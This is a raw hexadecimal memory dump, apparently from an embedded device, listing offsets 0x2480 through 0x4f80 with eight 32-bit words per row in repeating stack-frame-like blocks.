2480 100e6000 0000000e 08f30000 10fff014 10251800 00000000 00dfdfdf 00000000
24a0 00dfdfdf 00000000 00dfdfdf 101b52b4 00dfdfdf 00000000 00dfdfdf 00000000
24c0 100ef3c0 10fe8380 3feb1740 3fbf0e00 00dfdfdf 00000000 00dfdfdf 00000000
24e0 00dfdfdf 00000000 0000ffff 101adcf0 00000000 100ef3c0 10fe8380 3feb1740
2500 0004ff0f 1029a810 101adcf0 0000000f 100ef3c0 3fbf0e00 00000000 00000000
2520 1029b6d0 0000ffff 10fe8398 00000001 3f2a1e40 001e8480 00027630 00058260
2540 3f2a1e40 0000ffff 00000001 00000000 00000000 100e5298 90090009 100e3000
2560 fffffb10 f2ffd014 100e6000 10274010 00000000 00000040 3f2a2740 101184dc
2580 08000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
25a0 0000000a fe4917e0 2c760000 84cda717 00000001 bc9c0000 f9abb0d5 f309b5b9
25c0 00000009 c0b4e852 102dc000 00000000 1028e064 102f9010 102fc010 10274010
25e0 102f8810 00000001 10292010 1013848c 102f8810 102d98a8 102d98a8 102d9820
2600 3fbb5000 1028e60c 00000000 00000002 00000000 102a46c0 0004000e 0000004d
2620 102f9010 3fbb5000 1028e60c 10149de4 00000000 00001000 00000000 00000000
2640 00000000 00000000 3fe00000 00000000 412e8480 00000000 00000000 0000004d
2660 ffffffff 102fc010 10274010 101385f4 3fbed400 1028cee0 10292010 102f9010
2680 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
26a0 00000000 00000000 101adcf4 101adcf8 7f2bb706 00000000 00dfdfdf 00000000
26c0 00dfdfdf 0000001f e81f1f7d 00000000 00000011 00000040 10252004 10252028
26e0 00dfdfdf 00000000 00dfdfdf 1011113c 00dfdfdf 00000000 00dfdfdf 00000000
2700 3f2a1e40 00058260 00027630 001e8480 3f2a1e40 1029a810 100e34c0 10fe9800
2720 10252000 00000001 00000040 101064f8 00000000 100ee500 00dfdfdf 00000000
2740 3f2a1e40 00000001 10fe8398 0000ffff 1029b6d0 00000000 00000000 3fbf0e00
2760 100ef3c0 0000000f 00dfdfdf 10118518 00dfdfdf 00000000 00dfdfdf 00000000
2780 00000000 10289534 10289534 0000000e 0000001f 0000003c 0000003e 10289010
27a0 00000001 102e3622 00000004 10102f68 0000001e 102e3622 00dfdfdf 00000000
27c0 20000000 00000002 00000001 00000022 00dfdfdf 00000000 00dfdfdf 00000000
27e0 00dfdfdf 00000000 00dfdfdf 10102e58 00dfdfdf 00000000 00dfdfdf 00000000
2800 3f2a2500 00000022 10276090 00000000 55555555 00000000 00000000 00000000
2820 00000000 00000000 00000000 101f2f28 00000000 00000000 00000000 00000000
2840 102f9010 3f2a2500 10fe8080 00000000 00000020 00000000 10273904 3f2a2809
2860 00000001 0000ffff 3f2a1e40 10102e58 0000000e 001e8480 3f2a1e40 1029a810
2880 102f9010 3f2a2500 00000063 10fe9448 ffffffff 3f2a26d4 102e3616 1025200f
28a0 00000000 00000000 00000000 101c4c24 00000000 00000000 00000000 00000000
28c0 00000002 10276384 00000001 1029a908 3fbf0c00 0000000e 00000000 00000000
28e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
2900 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
2920 00000000 00000000 00000000 101b3b48 00000000 00000000 00000000 00000000
2940 3fbf0c00 1029a908 3f2a2500 0000000e 100e6000 00000000 00000000 00000000
2960 00000000 00000000 00000000 101d24a8 00000000 00000000 00000000 00000000
2980 a0000000 10276360 10fe8380 100ef3c0 00000000 00000000 00000bb6 00000000
29a0 3fbf0c00 00000000 00000000 101bba60 00000000 00000000 00000000 00000000
29c0 00000000 10262000 00000001 00000001 00000046 00099800 00000000 00000000
29e0 00000000 00000000 00000000 101b4dfc 00000000 00000000 00000000 00000000
2a00 00000080 00000000 100ee600 00000040 00000001 3fbf0c00 00000000 00000000
2a20 00000000 00000000 00000000 101bb194 00000000 00000000 00000000 00000000
2a40 3fbf0c00 100e3800 3fbf0c00 00000000 00000000 00000000 00000000 00000000
2a60 00000000 00000000 00000000 101b4c2c 00000000 00000000 00000000 00000000
2a80 00000001 00000001 3fbf0c00 00000000 3fbf0cac 10fe8380 00000000 00000000
2aa0 00000000 00000000 00000000 101af994 00000000 00000000 00000000 00000000
2ac0 10fe8380 00000001 00058260 00027630 001e8480 3f2a2500 00000001 00000080
2ae0 10fe8398 00000001 00000001 101b4988 0000000f 10fe8380 00000000 00000000
2b00 00000080 10fe8398 0000000f 00000001 3fbf0c00 10fe8398 3fbf0cac 10fe8380
2b20 00000000 00000000 00000000 10110ad0 00000000 00000000 00000000 00000000
2b40 100e6000 0000000e 09130000 10fff014 10251800 00000000 00000000 00000000
2b60 00000000 00000000 00000000 101b52b4 00000000 00000000 00000000 00000000
2b80 100ef3c0 10fe8380 3feb1640 3fbf0c00 00000000 00000000 00000000 00000000
2ba0 00000000 00000000 0000ffff 101adcf0 00000000 100ef3c0 10fe8380 3feb1640
2bc0 0004ff0f 1029a810 101adcf0 0000000f 100ef3c0 3fbf0c00 00000000 00000000
2be0 1029b6d0 0000ffff 10fe8398 00000001 3f2a2500 001e8480 00027630 00058260
2c00 3f2a2500 0000ffff 00000001 00000000 00000000 100e5298 98090009 100e3800
2c20 fffffb10 f2ffd014 100e6000 10274010 00000000 00000040 3f2a2e00 101184dc
2c40 08000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
2c60 0000000a fe4917e0 2c760000 84cda717 00000001 bc9c0000 f9abb0d5 f309b5b9
2c80 00000009 c0b4e852 102dc000 00000000 1028e064 102f9010 102fc010 10274010
2ca0 102f8810 00000001 10292010 1013848c 102f8810 102d98a8 102d98a8 102d9820
2cc0 3fbb5000 1028e60c 00000000 00000002 00000000 102a46c0 0004000e 0000004d
2ce0 102f9010 3fbb5000 1028e60c 10149de4 00000000 00001000 00000000 00000000
2d00 00000000 00000000 3fe00000 00000000 412e8480 00000000 00000000 0000004d
2d20 ffffffff 102fc010 10274010 101385f4 3fbed400 1028cee0 10292010 102f9010
2d40 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
2d60 00000000 00000000 101adcf4 101adcf8 7f2bb706 00000000 00000000 00000000
2d80 00000000 0000001f e81f1f7d 00000000 00000011 00000040 10252004 10252028
2da0 00000000 00000000 00000000 1011113c 00000000 00000000 00000000 00000000
2dc0 3f2a2500 00058260 00027630 001e8480 3f2a2500 1029a810 100e3cc0 10fe9800
2de0 10252000 00000001 00000040 101064f8 00000000 100eeb00 00000000 00000000
2e00 3f2a2500 00000001 10fe8398 0000ffff 1029b6d0 00000000 00000000 3fbf0c00
2e20 100ef3c0 0000000f 00000000 10118518 00000000 00000000 00000000 00000000
2e40 00000000 10289534 10289534 0000000e 0000001f 0000003c 0000003e 10289010
2e60 00000001 102e3622 00000004 10102f68 0000001e 102e3622 00000000 00000000
2e80 20000000 00000002 00000001 00000022 00000000 00000000 00000000 00000000
2ea0 00000000 00000000 00000000 10102e58 00000000 00000000 00000000 00000000
2ec0 3f2a2bc0 00000022 10276090 00000000 00000000 00000000 00000000 00000000
2ee0 00000000 00000000 00000000 101f2f28 00000000 00000000 00000000 00000000
2f00 102f9010 3f2a2bc0 10fe8080 00000000 00000020 00000000 10273904 3f2a2ec9
2f20 00000001 0000ffff 3f2a2500 10102e58 0000000e 001e8480 3f2a2500 1029a810
2f40 102f9010 3f2a2bc0 00000063 10fe9448 ffffffff 3f2a2d94 102e3616 1025200f
2f60 00000000 00000000 00000000 101c4c24 00000000 00000000 00000000 00000000
2f80 00000002 10276384 00000001 1029a908 3fbf0e00 0000000e 00000000 00000000
2fa0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
2fc0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
2fe0 00000000 00000000 00000000 101b3b48 00000000 00000000 00000000 00000000
3000 3fbf0e00 1029a908 3f2a2bc0 0000000e 100e6000 00000000 00dfdfdf 00000000
3020 00dfdfdf 00000000 00dfdfdf 101d24a8 00dfdfdf 00000000 00dfdfdf 00000000
3040 a0000000 10276360 10fe8380 100ef3c0 00000000 00000000 00000bb6 00000000
3060 3fbf0e00 00000000 00dfdfdf 101bba60 00dfdfdf 00000000 00dfdfdf 00000000
3080 00000000 10262000 00000001 00000001 00000048 00099000 00dfdfdf 00000000
30a0 00dfdfdf 00000000 00dfdfdf 101b4dfc 00dfdfdf 00000000 00dfdfdf 00000000
30c0 00000080 00000000 100ee000 00000040 00000001 3fbf0e00 00dfdfdf 00000000
30e0 00dfdfdf 00000000 00dfdfdf 101bb194 00dfdfdf 00000000 00dfdfdf 00000000
3100 3fbf0e00 100e3000 3fbf0e00 00000000 00dfdfdf 00000000 00dfdfdf 00000000
3120 00dfdfdf 00000000 00dfdfdf 101b4c2c 00dfdfdf 00000000 00dfdfdf 00000000
3140 00000001 00000001 3fbf0e00 00000000 3fbf0eac 10fe8380 00dfdfdf 00000000
3160 00dfdfdf 00000000 00dfdfdf 101af994 00dfdfdf 00000000 00dfdfdf 00000000
3180 10fe8380 00000001 00058260 00027630 001e8480 3f2a2bc0 00000001 00000080
31a0 10fe8398 00000001 00000001 101b4988 0000000f 10fe8380 00dfdfdf 00000000
31c0 00000080 10fe8398 0000000f 00000001 3fbf0e00 10fe8398 3fbf0eac 10fe8380
31e0 00dfdfdf 00000000 00dfdfdf 10110ad0 00dfdfdf 00000000 00dfdfdf 00000000
3200 100e6000 0000000e 09330000 10fff014 10251800 00000000 00dfdfdf 4001b336
3220 00dfdfdf 4001b342 00dfdfdf 101b52b4 00dfdfdf 4001b35a 00dfdfdf 4001b31e
3240 100ef3c0 10fe8380 3feb1540 3fbf0e00 00dfdfdf 4001b31e 00dfdfdf 4001b31e
3260 00dfdfdf 4001b31e 0000ffff 101adcf0 00000000 100ef3c0 10fe8380 3feb1540
3280 0004ff0f 1029a810 101adcf0 0000000f 100ef3c0 3fbf0e00 00000000 00000000
32a0 1029b6d0 0000ffff 10fe8398 00000001 3f2a2bc0 001e8480 00027630 00058260
32c0 3f2a2bc0 0000ffff 00000001 00000000 00000000 100e5298 90090009 100e3000
32e0 fffffb10 f2ffd014 100e6000 10274010 00000000 00000040 3f2a34c0 101184dc
3300 08000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
3320 0000000a fe4917e0 2c760000 84cda717 00000001 bc9c0000 f9abb0d5 f309b5b9
3340 00000009 c0b4e852 102dc000 00000000 1028e064 102f9010 102fc010 10274010
3360 102f8810 00000001 10292010 1013848c 102f8810 102d98a8 102d98a8 102d9820
3380 3fbb5000 1028e60c 00000000 00000002 00000000 102a46c0 0004000e 0000004d
33a0 102f9010 3fbb5000 1028e60c 10149de4 00000000 00001000 00000000 00000000
33c0 00000000 00000000 3fe00000 00000000 412e8480 00000000 00000000 0000004d
33e0 ffffffff 102fc010 10274010 101385f4 3fbed400 1028cee0 10292010 102f9010
3400 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
3420 00000000 00000000 101adcf4 101adcf8 7f2bb706 00000000 00dfdfdf 00000000
3440 00dfdfdf 0000001f e81f1f7d 00000000 00000011 00000040 10252004 10252028
3460 00dfdfdf 00000000 00dfdfdf 1011113c 00dfdfdf 00000000 00dfdfdf 00000000
3480 3f2a2bc0 00058260 00027630 001e8480 3f2a2bc0 1029a810 100e34c0 10fe9800
34a0 10252000 00000001 00000040 101064f8 00000000 100ee500 00dfdfdf 00000000
34c0 3f2a2bc0 00000001 10fe8398 0000ffff 1029b6d0 00000000 00000000 3fbf0e00
34e0 100ef3c0 0000000f 00dfdfdf 10118518 00dfdfdf 00000000 00dfdfdf 00000000
3500 00000000 10289534 10289534 0000000e 0000001f 0000003c 0000003e 10289010
3520 00000001 102e3622 00000004 10102f68 0000001e 102e3622 00dfdfdf 00000000
3540 20000000 00000002 00000001 00000022 00dfdfdf 00000000 00dfdfdf 00000000
3560 00dfdfdf 00000000 00dfdfdf 10102e58 00dfdfdf 00000000 00dfdfdf 00000000
3580 3f2a3280 00000022 10276090 00000000 00dfdfdf 00000000 00dfdfdf 00000000
35a0 00dfdfdf 00000000 00dfdfdf 101f2f28 00dfdfdf 00000000 00dfdfdf 00000000
35c0 102f9010 3f2a3280 10fe8080 00000000 00000020 00000000 10273904 3f2a3589
35e0 00000001 0000ffff 3f2a2bc0 10102e58 0000000e 001e8480 3f2a2bc0 1029a810
3600 102f9010 3f2a3280 00000063 10fe9448 ffffffff 3f2a3454 102e3616 1025200f
3620 00dfdfdf 00000000 00dfdfdf 101c4c24 00dfdfdf 00000000 00dfdfdf 00000000
3640 00000002 10276384 00000001 1029a908 3fbf0c00 0000000e 00000000 00000000
3660 00dfdfdf 00000000 00dfdfdf 00000000 00dfdfdf 00000000 00dfdfdf 00000000
3680 00dfdfdf 00000000 00dfdfdf 00000000 00dfdfdf 00000000 00dfdfdf 00000000
36a0 00dfdfdf 00000000 00dfdfdf 101b3b48 00dfdfdf 00000000 00dfdfdf 00000000
36c0 3fbf0c00 1029a908 3f2a3280 0000000e 100e6000 00000000 00dfdfdf 00000000
36e0 00dfdfdf 00000000 00dfdfdf 101d24a8 00dfdfdf 00000000 00dfdfdf 00000000
3700 a0000000 10276360 10fe8380 100ef3c0 00000000 00000000 00000bb6 00000000
3720 3fbf0c00 00000000 00dfdfdf 101bba60 00dfdfdf 00000000 00dfdfdf 00000000
3740 00000000 10262000 00000001 00000001 0000004a 00099800 00dfdfdf 00000000
3760 00dfdfdf 00000000 00dfdfdf 101b4dfc 00dfdfdf 00000000 00dfdfdf 00000000
3780 00000080 00000000 100ee600 00000040 00000001 3fbf0c00 00dfdfdf 00000000
37a0 00dfdfdf 00000000 00dfdfdf 101bb194 00dfdfdf 00000000 00dfdfdf 00000000
37c0 3fbf0c00 100e3800 3fbf0c00 00000000 00dfdfdf 00000000 00dfdfdf 00000000
37e0 00dfdfdf 00000000 00dfdfdf 101b4c2c 00dfdfdf 00000000 00dfdfdf 00000000
3800 00000001 00000001 3fbf0c00 00000000 3fbf0cac 10fe8380 00000000 00000000
3820 00000000 00000000 00000000 101af994 00000000 00000000 00000000 00000000
3840 10fe8380 00000001 00058260 00027630 001e8480 3f2a3280 00000001 00000080
3860 10fe8398 00000001 00000001 101b4988 0000000f 10fe8380 00000000 00000000
3880 00000080 10fe8398 0000000f 00000001 3fbf0c00 10fe8398 3fbf0cac 10fe8380
38a0 00000000 00000000 00000000 10110ad0 00000000 00000000 00000000 00000000
38c0 100e6000 0000000e 09530000 10fff014 10251800 00000000 00000000 00000000
38e0 00000000 00000000 00000000 101b52b4 00000000 00000000 00000000 00000000
3900 100ef3c0 10fe8380 3feb1440 3fbf0c00 00000000 00000000 00000000 00000000
3920 00000000 00000000 0000ffff 101adcf0 00000000 100ef3c0 10fe8380 3feb1440
3940 0004ff0f 1029a810 101adcf0 0000000f 100ef3c0 3fbf0c00 00000000 00000000
3960 1029b6d0 0000ffff 10fe8398 00000001 3f2a3280 001e8480 00027630 00058260
3980 3f2a3280 0000ffff 00000001 00000000 00000000 100e5298 98090009 100e3800
39a0 fffffb10 f2ffd014 100e6000 10274010 00000000 00000040 3f2a3b80 101184dc
39c0 08000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
39e0 0000000a fe4917e0 2c760000 84cda717 00000001 bc9c0000 f9abb0d5 f309b5b9
3a00 00000009 c0b4e852 102dc000 00000000 1028e064 102f9010 102fc010 10274010
3a20 102f8810 00000001 10292010 1013848c 102f8810 102d98a8 102d98a8 102d9820
3a40 3fbb5000 1028e60c 00000000 00000002 00000000 102a46c0 0004000e 0000004d
3a60 102f9010 3fbb5000 1028e60c 10149de4 00000000 00001000 00000000 00000000
3a80 00000000 00000000 3fe00000 00000000 412e8480 00000000 00000000 0000004d
3aa0 ffffffff 102fc010 10274010 101385f4 3fbed400 1028cee0 10292010 102f9010
3ac0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
3ae0 00000000 00000000 101adcf4 101adcf8 7f2bb706 00000000 00000000 00000000
3b00 00000000 0000001f e81f1f7d 00000000 00000011 00000040 10252004 10252028
3b20 00000000 00000000 00000000 1011113c 00000000 00000000 00000000 00000000
3b40 3f2a3280 00058260 00027630 001e8480 3f2a3280 1029a810 100e3cc0 10fe9800
3b60 10252000 00000001 00000040 101064f8 00000000 100eeb00 00000000 00000000
3b80 3f2a3280 00000001 10fe8398 0000ffff 1029b6d0 00000000 00000000 3fbf0c00
3ba0 100ef3c0 0000000f 00000000 10118518 00000000 00000000 00000000 00000000
3bc0 00000000 10289534 10289534 0000000e 0000001f 0000003c 0000003e 10289010
3be0 00000001 102e3622 00000004 10102f68 0000001e 102e3622 00000000 00000000
3c00 20000000 00000002 00000001 00000022 00000000 00000000 00000000 00000000
3c20 00000000 00000000 00000000 10102e58 00000000 00000000 00000000 00000000
3c40 3f2a3940 00000022 10276090 00000000 00000000 00000000 00000000 00000000
3c60 00000000 00000000 00000000 101f2f28 00000000 00000000 00000000 00000000
3c80 102f9010 3f2a3940 10fe8080 00000000 00000020 00000000 10273904 3f2a3c49
3ca0 00000001 0000ffff 3f2a3280 10102e58 0000000e 001e8480 3f2a3280 1029a810
3cc0 102f9010 3f2a3940 00000063 10fe9448 ffffffff 3f2a3b14 102e3616 1025200f
3ce0 00000000 00000000 00000000 101c4c24 00000000 00000000 00000000 00000000
3d00 00000002 10276384 00000001 1029a908 3fbf0e00 0000000e 00000000 00000000
3d20 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
3d40 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
3d60 00000000 00000000 00000000 101b3b48 00000000 00000000 00000000 00000000
3d80 3fbf0e00 1029a908 3f2a3940 0000000e 100e6000 00000000 00000000 00000000
3da0 00000000 00000000 00000000 101d24a8 00000000 00000000 00000000 00000000
3dc0 a0000000 10276360 10fe8380 100ef3c0 00000000 00000000 00000bb6 00000000
3de0 3fbf0e00 00000000 00000000 101bba60 00000000 00000000 00000000 00000000
3e00 00000000 10262000 00000001 00000001 0000004c 00099000 00000000 00000000
3e20 00000000 00000000 00000000 101b4dfc 00000000 00000000 00000000 00000000
3e40 00000080 00000000 100ee000 00000040 00000001 3fbf0e00 00000000 00000000
3e60 00000000 00000000 00000000 101bb194 00000000 00000000 00000000 00000000
3e80 3fbf0e00 100e3000 3fbf0e00 00000000 00000000 00000000 00000000 00000000
3ea0 00000000 00000000 00000000 101b4c2c 00000000 00000000 00000000 00000000
3ec0 00000001 00000001 3fbf0e00 00000000 3fbf0eac 10fe8380 00000000 00000000
3ee0 00000000 00000000 00000000 101af994 00000000 00000000 00000000 00000000
3f00 10fe8380 00000001 00058260 00027630 001e8480 3f2a3940 00000001 00000080
3f20 10fe8398 00000001 00000001 101b4988 0000000f 10fe8380 00000000 00000000
3f40 00000080 10fe8398 0000000f 00000001 3fbf0e00 10fe8398 3fbf0eac 10fe8380
3f60 00000000 00000000 00000000 10110ad0 00000000 00000000 00000000 00000000
3f80 100e6000 0000000e 09730000 10fff014 10251800 00000000 00000000 00000000
3fa0 00000000 00000000 00000000 101b52b4 00000000 00000000 00000000 00000000
3fc0 100ef3c0 10fe8380 3feb1340 3fbf0e00 00000000 00000000 00000000 00000000
3fe0 00000000 00000000 0000ffff 101adcf0 00000000 100ef3c0 10fe8380 3feb1340
4000 0004ff0f 1029a810 101adcf0 0000000f 100ef3c0 3fbf0e00 00000000 00000000
4020 1029b6c8 0000ffff 10fe8398 00000001 3f2a3940 001e8480 00027630 00058260
4040 3f2a3940 0000ffff 00000001 00000000 00000000 100e5298 90090009 100e3000
4060 fffffb10 f2ffd014 100e6000 10274010 00000000 00000040 3f2a4240 101184dc
4080 08000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
40a0 0000000a fe4917e0 2c760000 84cda717 00000001 bc9c0000 f9abb0d5 f309b5b9
40c0 00000001 c0b4e852 102dc000 00000000 1028e064 102f9010 102fc010 10274010
40e0 102f8810 00000001 10292010 10138495 102f8810 102d98a8 102d98a8 102d9820
4100 3fbb5009 1028e60c 00000000 00000002 00000000 102a46c0 0004000e 0000004d
4120 102f9010 3fbb5000 1028e60c 10149de4 00000000 00001000 00000000 00000000
4140 00000000 00000000 3fe00000 00000000 412e8480 00000000 00000000 0000004d
4160 ffffffff 102fc010 10274010 101385f4 3fbed400 1028cee0 10292010 102f9010
4180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
41a0 00000000 00000000 101adcf4 101adcf8 7f2bb706 00000000 00000000 00000000
41c0 00000000 0000001f e81f1f7d 00000000 00000011 00000040 10252004 10252028
41e0 00000000 00000000 00000000 1011113c 00000000 00000000 00000000 00000000
4200 3f2a3940 00058260 00027630 001e8480 3f2a3940 1029a810 100e34c0 10fe9800
4220 10252000 00000001 00000040 101064f8 00000000 100ee500 00000000 00000000
4240 3f2a3940 00000001 10fe8398 0000ffff 1029b6d0 00000000 00000000 3fbf0e00
4260 100ef3c0 0000000f 00000000 10118518 00000000 00000000 00000000 00000000
4280 00000000 10289534 10289534 0000000e 0000001f 0000003c 0000003e 10289010
42a0 00000001 102e3622 00000004 10102f68 0000001e 102e3622 00000000 00000000
42c0 20000000 00000002 00000001 00000022 00000000 00000000 00000000 00000000
42e0 00000000 00000000 00000000 10102e58 00000000 00000000 00000000 00000000
4300 3f2a4000 00000022 10276090 00000000 00000000 00000000 00000000 00000000
4320 00000000 00000000 00000000 101f2f28 00000000 00000000 00000000 00000000
4340 102f9010 3f2a4000 10fe8080 00000000 00000020 00000000 10273904 3f2a4309
4360 00000001 0000ffff 3f2a3940 10102e58 0000000e 001e8480 3f2a3940 1029a810
4380 102f9010 3f2a4000 00000063 10fe9448 ffffffff 3f2a41d4 102e3616 1025200f
43a0 00000000 00000000 00000000 101c4c24 00000000 00000000 00000000 00000000
43c0 00000002 10276384 00000001 1029a908 3fbf0c00 0000000e 00000000 00000000
43e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4400 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4420 00000000 00000000 00000000 101b3b48 00000000 00000000 00000000 00000000
4440 3fbf0c00 1029a908 3f2a4000 0000000e 100e6000 00000000 00000000 00000000
4460 00000000 00000000 00000000 101d24a8 00000000 00000000 00000000 00000000
4480 a0000000 10276360 10fe8380 100ef3c0 00000000 00000000 00000bb6 00000000
44a0 3fbf0c00 00000000 00000000 101bba60 00000000 00000000 00000000 00000000
44c0 00000000 10262000 00000001 00000001 0000004e 00099800 00000000 00000000
44e0 00000000 00000000 00000000 101b4dfc 00000000 00000000 00000000 00000000
4500 00000080 00000000 100ee600 00000040 00000001 3fbf0c00 00000000 00000000
4520 00000000 00000000 00000000 101bb194 00000000 00000000 00000000 00000000
4540 3fbf0c00 100e3800 3fbf0c00 00000000 00000000 00000000 00000000 00000000
4560 00000000 00000000 00000000 101b4c2c 00000000 00000000 00000000 00000000
4580 00000001 00000001 3fbf0c00 00000000 3fbf0cac 10fe8380 00000000 00000000
45a0 00000000 00000000 00000000 101af994 00000000 00000000 00000000 00000000
45c0 10fe8380 00000001 00058260 00027630 001e8480 3f2a4000 00000001 00000080
45e0 10fe8398 00000001 00000001 101b4988 0000000f 10fe8380 00000000 00000000
4600 00000080 10fe8398 0000000f 00000001 3fbf0c00 10fe8398 3fbf0cac 10fe8380
4620 00000000 00000000 00000000 10110ad0 00000000 00000000 00000000 00000000
4640 100e6000 0000000e 09930000 10fff014 10251800 00000000 00000000 00000000
4660 00000000 00000000 00000000 101b52b4 00000000 00000000 00000000 00000000
4680 100ef3c0 10fe8380 3feb1240 3fbf0c00 00000000 00000000 00000000 00000000
46a0 00000000 00000000 0000ffff 101adcf0 00000000 100ef3c0 10fe8380 3feb1240
46c0 0004ff0f 1029a810 101adcf0 0000000f 100ef3c0 3fbf0c00 00000000 00000000
46e0 1029b6d0 0000ffff 10fe8398 00000001 3f2a4000 001e8480 00027630 00058260
4700 3f2a4000 0000ffff 00000001 00000000 00000000 100e5298 98090009 100e3800
4720 fffffb10 f2ffd014 100e6000 10274010 00000000 00000040 3f2a4900 101184dc
4740 08000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4760 0000000a fe4917e0 2c760000 84cda717 00000001 bc9c0000 f9abb0d5 f309b5b9
4780 00000009 c0b4e852 102dc000 00000000 1028e064 102f9010 102fc010 10274010
47a0 102f8810 00000001 10292010 1013848c 102f8810 102d98a8 102d98a8 102d9820
47c0 3fbb5000 1028e60c 00000000 00000002 00000000 102a46c0 0004000e 0000004d
47e0 102f9010 3fbb5000 1028e60c 10149de4 00000000 00001000 00000000 00000000
4800 00000000 00000000 3fe00000 00000000 412e8480 00000000 00000000 0000004d
4820 ffffffff 102fc010 10274010 101385f4 3fbed400 1028cee0 10292010 102f9010
4840 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4860 00000000 00000000 101adcf4 101adcf8 7f2bb706 00000000 00000000 00000000
4880 00000000 0000001f e81f1f7d 00000000 00000011 00000040 10252004 10252028
48a0 00000000 00000000 00000000 1011113c 00000000 00000000 00000000 00000000
48c0 3f2a4000 00058260 00027630 001e8480 3f2a4000 1029a810 100e3cc0 10fe9800
48e0 10252000 00000001 00000040 101064f8 00000000 100eeb00 00000000 00000000
4900 3f2a4000 00000001 10fe8398 0000ffff 1029b6d0 00000000 00000000 3fbf0c00
4920 100ef3c0 0000000f 00000000 10118518 00000000 00000000 00000000 00000000
4940 00000000 10289534 10289534 0000000e 0000001f 0000003c 0000003e 10289010
4960 00000001 102e3622 00000004 10102f68 0000001e 102e3622 00000000 00000000
4980 20000000 00000002 00000001 00000022 00000000 00000000 00000000 00000000
49a0 00000000 00000000 00000000 10102e58 00000000 00000000 00000000 00000000
49c0 3f2a46c0 00000022 10276090 00000000 00000000 00000000 00000000 00000000
49e0 00000000 00000000 00000000 101f2f28 00000000 00000000 00000000 00000000
4a00 102f9010 3f2a46c0 10fe8080 00000000 00000020 00000000 10273904 3f2a49c9
4a20 00000001 0000ffff 3f2a4000 10102e58 0000000e 001e8480 3f2a4000 1029a810
4a40 102f9010 3f2a46c0 00000063 10fe9448 ffffffff 3f2a4894 102e3616 1025200f
4a60 00000000 00000000 00000000 101c4c24 00000000 00000000 00000000 00000000
4a80 00000002 10276384 00000001 1029a908 3fbf0e00 0000000e 00000000 00000000
4aa0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4ac0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4ae0 00000000 00000000 00000000 101b3b48 00000000 00000000 00000000 00000000
4b00 3fbf0e00 1029a908 3f2a46c0 0000000e 100e6000 00000000 00000000 00000000
4b20 00000000 00000000 00000000 101d24a8 00000000 00000000 00000000 00000000
4b40 a0000000 10276360 10fe8380 100ef3c0 00000000 00000000 00000bb6 00000000
4b60 3fbf0e00 00000000 00000000 101bba60 00000000 00000000 00000000 00000000
4b80 00000000 10262000 00000001 00000001 00000050 00099000 00000000 00000000
4ba0 00000000 00000000 00000000 101b4dfc 00000000 00000000 00000000 00000000
4bc0 00000080 00000000 100ee000 00000040 00000001 3fbf0e00 00000000 00000000
4be0 00000000 00000000 00000000 101bb194 00000000 00000000 00000000 00000000
4c00 3fbf0e00 100e3000 3fbf0e00 00000000 00000000 00000000 00000000 00000000
4c20 00000000 00000000 00000000 101b4c2c 00000000 00000000 00000000 00000000
4c40 00000001 00000001 3fbf0e00 00000000 3fbf0eac 10fe8380 00000000 00000000
4c60 00000000 00000000 00000000 101af994 00000000 00000000 00000000 00000000
4c80 10fe8380 00000001 00058260 00027630 001e8480 3f2a46c0 00000001 00000080
4ca0 10fe8398 00000001 00000001 101b4988 0000000f 10fe8380 00000000 00000000
4cc0 00000080 10fe8398 0000000f 00000001 3fbf0e00 10fe8398 3fbf0eac 10fe8380
4ce0 00000000 00000000 00000000 10110ad0 00000000 00000000 00000000 00000000
4d00 100e6000 0000000e 09b30000 10fff014 10251800 00000000 00000000 00000000
4d20 00000000 00000000 00000000 101b52b4 00000000 00000000 00000000 00000000
4d40 100ef3c0 10fe8380 3feb1140 3fbf0e00 00000000 00000000 00000000 00000000
4d60 00000000 00000000 0000ffff 101adcf0 00000000 100ef3c0 10fe8380 3feb1140
4d80 0004ff0f 1029a810 101adcf0 0000000f 100ef3c0 3fbf0e00 00000000 00000000
4da0 1029b6d0 0000ffff 10fe8398 00000001 3f2a46c0 001e8480 00027630 00058260
4dc0 3f2a46c0 0000ffff 00000001 00000000 00000000 100e5298 90090009 100e3000
4de0 fffffb10 f2ffd014 100e6000 10274010 00000000 00000040 3f2a4fc0 101184dc
4e00 08000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4e20 0000000a fe4917e0 2c760000 84cda717 00000001 bc9c0000 f9abb0d5 f309b5b9
4e40 00000009 c0b4e852 102dc000 00000000 1028e064 102f9010 102fc010 10274010
4e60 102f8810 00000001 10292010 1013848c 102f8810 102d98a8 102d98a8 102d9820
4e80 3fbb5000 1028e60c 00000000 00000002 00000000 102a46c0 0004000e 0000004d
4ea0 102f9010 3fbb5000 1028e60c 10149de4 00000000 00001000 00000000 00000000
4ec0 00000000 00000000 3fe00000 00000000 412e8480 00000000 00000000 0000004d
4ee0 ffffffff 102fc010 10274010 101385f4 3fbed400 1028cee0 10292010 102f9010
4f00 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4f20 00000000 00000000 101adcf4 101adcf8 7f2bb706 00000000 00000000 00000000
4f40 00000000 0000001f e81f1f7d 00000000 00000011 00000040 10252004 10252028
4f60 00000000 00000000 00000000 1011113c 00000000 00000000 00000000 00000000
4f80 3f2a46c0 00058260 00027630 001e8480 3f2a46c0 1029a810 100e34c0 10fe9800
